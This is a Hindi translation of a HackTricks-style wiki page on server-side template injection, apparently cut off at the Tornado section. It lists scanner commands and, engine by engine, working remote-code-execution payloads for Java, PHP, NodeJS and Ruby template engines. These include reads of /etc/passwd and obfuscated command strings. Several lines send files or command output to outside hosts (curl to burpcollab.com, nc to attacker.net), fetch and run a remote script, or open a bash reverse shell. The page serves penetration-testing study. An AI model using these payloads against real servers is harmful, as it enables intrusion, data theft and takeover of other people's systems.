SSTI (Server Side Template Injection)

Reading time: 32 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

SSTI (सर्वर-साइड टेम्पलेट इंजेक्शन) क्या है

सर्वर-साइड टेम्पलेट इंजेक्शन एक कमजोरी है जो तब होती है जब एक हमलावर एक टेम्पलेट में दुर्भावनापूर्ण कोड इंजेक्ट कर सकता है जो सर्वर पर निष्पादित होता है। यह कमजोरी विभिन्न तकनीकों में पाई जा सकती है, जिसमें Jinja शामिल है।

Jinja एक लोकप्रिय टेम्पलेट इंजन है जो वेब अनुप्रयोगों में उपयोग किया जाता है। आइए एक उदाहरण पर विचार करें जो Jinja का उपयोग करते हुए एक कमजोर कोड स्निपेट को प्रदर्शित करता है:

python
output = template.render(name=request.args.get('name'))

इस कमजोर कोड में, उपयोगकर्ता के अनुरोध से name पैरामीटर को सीधे render फ़ंक्शन का उपयोग करके टेम्पलेट में पास किया जाता है। यह संभावित रूप से एक हमलावर को name पैरामीटर में दुर्भावनापूर्ण कोड इंजेक्ट करने की अनुमति दे सकता है, जिससे सर्वर-साइड टेम्पलेट इंजेक्शन हो सकता है।

उदाहरण के लिए, एक हमलावर इस तरह के पेलोड के साथ एक अनुरोध तैयार कर सकता है:

http://vulnerable-website.com/?name={{bad-stuff-here}}

The payload {{bad-stuff-here}} को name पैरामीटर में इंजेक्ट किया गया है। यह पेलोड Jinja टेम्पलेट निर्देशों को शामिल कर सकता है जो हमलावर को अनधिकृत कोड निष्पादित करने या टेम्पलेट इंजन में हेरफेर करने की अनुमति देते हैं, जिससे सर्वर पर नियंत्रण प्राप्त हो सकता है।

सर्वर-साइड टेम्पलेट इंजेक्शन कमजोरियों को रोकने के लिए, डेवलपर्स को यह सुनिश्चित करना चाहिए कि उपयोगकर्ता इनपुट को टेम्पलेट में डाले जाने से पहले सही तरीके से साफ और मान्य किया गया है। इनपुट मान्यता को लागू करना और संदर्भ-जानकारी वाले एस्केपिंग तकनीकों का उपयोग करना इस कमजोरी के जोखिम को कम करने में मदद कर सकता है।

Detection

सर्वर-साइड टेम्पलेट इंजेक्शन (SSTI) का पता लगाने के लिए, प्रारंभ में, टेम्पलेट को फज़ करना एक सीधा दृष्टिकोण है। इसमें टेम्पलेट में विशेष वर्णों की एक श्रृंखला (${{<%[%'"}}%\) को इंजेक्ट करना और नियमित डेटा की तुलना में इस विशेष पेलोड के लिए सर्वर की प्रतिक्रिया में भिन्नताओं का विश्लेषण करना शामिल है। कमजोरी के संकेतों में शामिल हैं:

  • फेंके गए त्रुटियाँ, जो कमजोरी और संभावित रूप से टेम्पलेट इंजन को प्रकट करती हैं।
  • परावर्तन में पेलोड की अनुपस्थिति, या इसके कुछ हिस्सों का गायब होना, यह संकेत करता है कि सर्वर इसे नियमित डेटा की तुलना में अलग तरीके से संसाधित करता है।
  • Plaintext Context: XSS से अलग पहचानें कि क्या सर्वर टेम्पलेट अभिव्यक्तियों का मूल्यांकन करता है (जैसे, {{7*7}}, ${7*7})।
  • Code Context: इनपुट पैरामीटर को बदलकर कमजोरी की पुष्टि करें। उदाहरण के लिए, http://vulnerable-website.com/?greeting=data.username में greeting को बदलकर देखें कि क्या सर्वर का आउटपुट गतिशील है या स्थिर, जैसे greeting=data.username}}hello जो उपयोगकर्ता नाम लौटाता है।

Identification Phase

टेम्पलेट इंजन की पहचान त्रुटि संदेशों का विश्लेषण करके या विभिन्न भाषा-विशिष्ट पेलोड का मैन्युअल परीक्षण करके की जाती है। सामान्य पेलोड जो त्रुटियाँ उत्पन्न करते हैं उनमें शामिल हैं ${7/0}, {{7/0}}, और <%= 7/0 %>। गणितीय संचालन के लिए सर्वर की प्रतिक्रिया को देखना विशिष्ट टेम्पलेट इंजन को पहचानने में मदद करता है।

Identification by payloads

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg

Tools

TInjA

एक प्रभावी SSTI + CSTI स्कैनर जो नवीनतम पॉलीग्लॉट्स का उपयोग करता है

bash
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

SSTImap

bash
python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s

Tplmap

python
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

Template Injection Table

एक इंटरैक्टिव टेबल जिसमें सबसे प्रभावी टेम्पलेट इंजेक्शन पॉलीग्लॉट्स शामिल हैं, साथ ही 44 सबसे महत्वपूर्ण टेम्पलेट इंजनों के अपेक्षित प्रतिक्रियाएँ भी हैं।

Exploits

Generic

इस wordlist में आप नीचे उल्लेखित कुछ इंजनों के वातावरण में परिभाषित वेरिएबल्स पा सकते हैं:

Java

Java - Basic injection

java
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

Java - सिस्टम के पर्यावरण चर प्राप्त करें

java
${T(java.lang.System).getenv()}

Java - /etc/passwd प्राप्त करें

java
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

आप अपने पेलोड्स को https://try.freemarker.apache.org पर आजमा सकते हैं

  • {{7*7}} = {{7*7}}
  • ${7*7} = 49
  • #{7*7} = 49 -- (legacy)
  • ${7*'7'} कुछ नहीं
  • ${foobar}
java
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Sandbox बायपास

⚠️ केवल Freemarker के 2.3.30 से नीचे के संस्करणों पर काम करता है

java
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

अधिक जानकारी

Velocity (Java)

java
// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end

अधिक जानकारी

Thymeleaf

Thymeleaf में, SSTI कमजोरियों के लिए एक सामान्य परीक्षण है अभिव्यक्ति ${7*7} , जो इस टेम्पलेट इंजन पर भी लागू होता है। संभावित रिमोट कोड निष्पादन के लिए, निम्नलिखित अभिव्यक्तियों का उपयोग किया जा सकता है:

  • SpringEL:
java
${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL:
java
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Thymeleaf को इन अभिव्यक्तियों को विशिष्ट विशेषताओं के भीतर रखा जाना आवश्यक है। हालाँकि, expression inlining अन्य टेम्पलेट स्थानों के लिए समर्थित है, जैसे कि [[...]] या [(...)] का उपयोग करते हुए। इस प्रकार, एक सरल SSTI परीक्षण पेलोड इस तरह दिख सकता है [[${7*7}]]

हालांकि, इस पेलोड के काम करने की संभावना सामान्यतः कम है। Thymeleaf की डिफ़ॉल्ट कॉन्फ़िगरेशन गतिशील टेम्पलेट निर्माण का समर्थन नहीं करती; टेम्पलेट को पूर्वनिर्धारित होना चाहिए। डेवलपर्स को स्ट्रिंग से तात्कालिक रूप से टेम्पलेट बनाने के लिए अपना TemplateResolver लागू करने की आवश्यकता होगी, जो असामान्य है।

Thymeleaf expression preprocessing भी प्रदान करता है, जहाँ डबल अंडरस्कोर (__...__) के भीतर अभिव्यक्तियों को पूर्व-प्रसंस्कृत किया जाता है। इस सुविधा का उपयोग अभिव्यक्तियों के निर्माण में किया जा सकता है, जैसा कि Thymeleaf के दस्तावेज़ में प्रदर्शित किया गया है:

java
#{selection.__${sel.code}__}

Thymeleaf में कमजोरियों का उदाहरण

निम्नलिखित कोड स्निपेट पर विचार करें, जो शोषण के लिए संवेदनशील हो सकता है:

xml
<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

यह इंगित करता है कि यदि टेम्पलेट इंजन इन इनपुट को गलत तरीके से प्रोसेस करता है, तो यह दूरस्थ कोड निष्पादन की ओर ले जा सकता है जो URLs तक पहुँच सकता है:

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

अधिक जानकारी

EL - Expression Language

स्प्रिंग फ्रेमवर्क (जावा)

java
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

फिल्टर बायपास करें

यदि ${...} काम नहीं करता है तो कई वेरिएबल एक्सप्रेशंस का उपयोग किया जा सकता है, जैसे #{...}, *{...}, @{...} या ~{...}

  • /etc/passwd पढ़ें
java
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • पेलोड जनरेशन के लिए कस्टम स्क्रिप्ट
python
#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

अधिक जानकारी

स्प्रिंग व्यू मैनिपुलेशन (Java)

java
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

EL - Expression Language

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Pebble का पुराना संस्करण ( < version 3.0.9):

java
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

Pebble का नया संस्करण:

java
{% raw %}
{% set cmd = 'id' %}
{% endraw %}






{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

java
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava एक ओपन सोर्स प्रोजेक्ट है जिसे Hubspot द्वारा विकसित किया गया है, जो https://github.com/HubSpot/jinjava/ पर उपलब्ध है।

Jinjava - कमांड निष्पादन

https://github.com/HubSpot/jinjava/pull/230 द्वारा ठीक किया गया

java
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

अधिक जानकारी

Hubspot - HuBL (Java)

  • {% %} कथन सीमांकक
  • {{ }} अभिव्यक्ति सीमांकक
  • {# #} टिप्पणी सीमांकक
  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
  • {{'a'.toUpperCase()}} - "A"
  • {{'a'.concat('b')}} - "ab"
  • {{'a'.getClass()}} - java.lang.String
  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

"com.hubspot.content.hubl.context.TemplateContextRequest" के लिए खोजें और Jinjava प्रोजेक्ट को Github पर खोजें

java
{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

अधिक जानकारी

एक्सप्रेशन लैंग्वेज - EL (Java)

  • ${"aaaa"} - "aaaa"
  • ${99999+1} - 100000.
  • #{7*7} - 49
  • ${{7*7}} - 49
  • ${{request}}, ${{session}}, {{faceContext}}

Expression Language (EL) एक मौलिक विशेषता है जो प्रस्तुति परत (जैसे वेब पृष्ठ) और एप्लिकेशन लॉजिक (जैसे प्रबंधित बीन) के बीच बातचीत को सुगम बनाती है JavaEE में। इसका उपयोग कई JavaEE तकनीकों में इस संचार को सरल बनाने के लिए किया जाता है। EL का उपयोग करने वाली प्रमुख JavaEE तकनीकें शामिल हैं:

  • JavaServer Faces (JSF): JSF पृष्ठों में घटकों को संबंधित बैकएंड डेटा और क्रियाओं से जोड़ने के लिए EL का उपयोग करता है।
  • JavaServer Pages (JSP): JSP में डेटा को एक्सेस और मैनिपुलेट करने के लिए EL का उपयोग किया जाता है, जिससे पृष्ठ तत्वों को एप्लिकेशन डेटा से जोड़ना आसान हो जाता है।
  • Contexts and Dependency Injection for Java EE (CDI): EL CDI के साथ एकीकृत होता है ताकि वेब परत और प्रबंधित बीन के बीच निर्बाध बातचीत सुनिश्चित की जा सके, जिससे एक अधिक संगठित एप्लिकेशन संरचना बनती है।

EL इंटरप्रेटर्स के शोषण के बारे में अधिक जानने के लिए निम्नलिखित पृष्ठ देखें:

EL - Expression Language

ग्रूवी (Java)

निम्नलिखित सुरक्षा प्रबंधक बायपास इस लेख से लिए गए हैं।

java
//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

Other Java

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg

Smarty (PHP)

php
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

अधिक जानकारी

Twig (PHP)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{7*'7'}} = 49
  • {{1/0}} = Error
  • {{foobar}} Nothing
python
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - टेम्पलेट प्रारूप

php
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

अधिक जानकारी

Plates (PHP)

Plates एक टेम्पलेटिंग इंजन है जो PHP के लिए स्वदेशी है, जो Twig से प्रेरित है। हालाँकि, Twig के विपरीत, जो एक नई सिंटैक्स पेश करता है, Plates टेम्पलेट्स में स्वदेशी PHP कोड का उपयोग करता है, जिससे यह PHP डेवलपर्स के लिए सहज हो जाता है।

Controller:

php
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

पृष्ठ टेम्पलेट:

php
<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

लेआउट टेम्पलेट:

html
<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

अधिक जानकारी

PHPlib और HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB PHPlib के समान है लेकिन इसे Pear पर पोर्ट किया गया है।

authors.tpl

html
<html>
<head>
<title>{PAGE_TITLE}</title>
</head>
<body>
<table>
<caption>
Authors
</caption>
<thead>
<tr>
<th>Name</th>
<th>Email</th>
</tr>
</thead>
<tfoot>
<tr>
<td colspan="2">{NUM_AUTHORS}</td>
</tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr>
<td>{AUTHOR_NAME}</td>
<td>{AUTHOR_EMAIL}</td>
</tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

authors.php

php
<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

अधिक जानकारी

अन्य PHP

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg

जेड (NodeJS)

javascript
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
javascript
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

अधिक जानकारी

patTemplate (PHP)

patTemplate एक गैर-संकलन PHP टेम्पलेटिंग इंजन है, जो एक दस्तावेज़ को विभिन्न भागों में विभाजित करने के लिए XML टैग का उपयोग करता है

xml
<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

अधिक जानकारी

Handlebars (NodeJS)

पथ यात्रा (अधिक जानकारी यहाँ).

bash
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = त्रुटि
  • ${7*7} = ${7*7}
  • कुछ नहीं
java
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

अधिक जानकारी

JsRender (NodeJS)

टेम्पलेटविवरण
आउटपुट का मूल्यांकन और रेंडर करें
एचटीएमएल एन्कोडेड आउटपुट का मूल्यांकन और रेंडर करें
टिप्पणी
औरकोड की अनुमति दें (डिफ़ॉल्ट रूप से अक्षम)
  • = 49

क्लाइंट साइड

python
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

सर्वर साइड

bash
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

अधिक जानकारी

PugJs (NodeJS)

  • #{7*7} = 49
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

उदाहरण सर्वर साइड रेंडर

javascript
var pugjs = require("pug")
home = pugjs.render(injected_page)

अधिक जानकारी

NUNJUCKS (NodeJS)

  • {{7*7}} = 49
  • {{foo}} = कोई आउटपुट नहीं
  • #{7*7} = #{7*7}
  • {{console.log(1)}} = त्रुटि
javascript
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')"
)()
}
}
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')"
)()
}
}

अधिक जानकारी

अन्य NodeJS

https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg

ERB (Ruby)

  • {{7*7}} = {{7*7}}
  • ${7*7} = ${7*7}
  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
python
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

अधिक जानकारी

Slim (Ruby)

  • { 7 * 7 }
{ %x|env| }

अधिक जानकारी

अन्य रूबी

https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg

पायथन

संदर्भ में अर्थात् आदेश निष्पादन बायपासिंग सैंडबॉक्स के बारे में ट्रिक्स सीखने के लिए निम्नलिखित पृष्ठ देखें:

Bypass Python sandboxes

टॉर्नेडो (पायथन)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
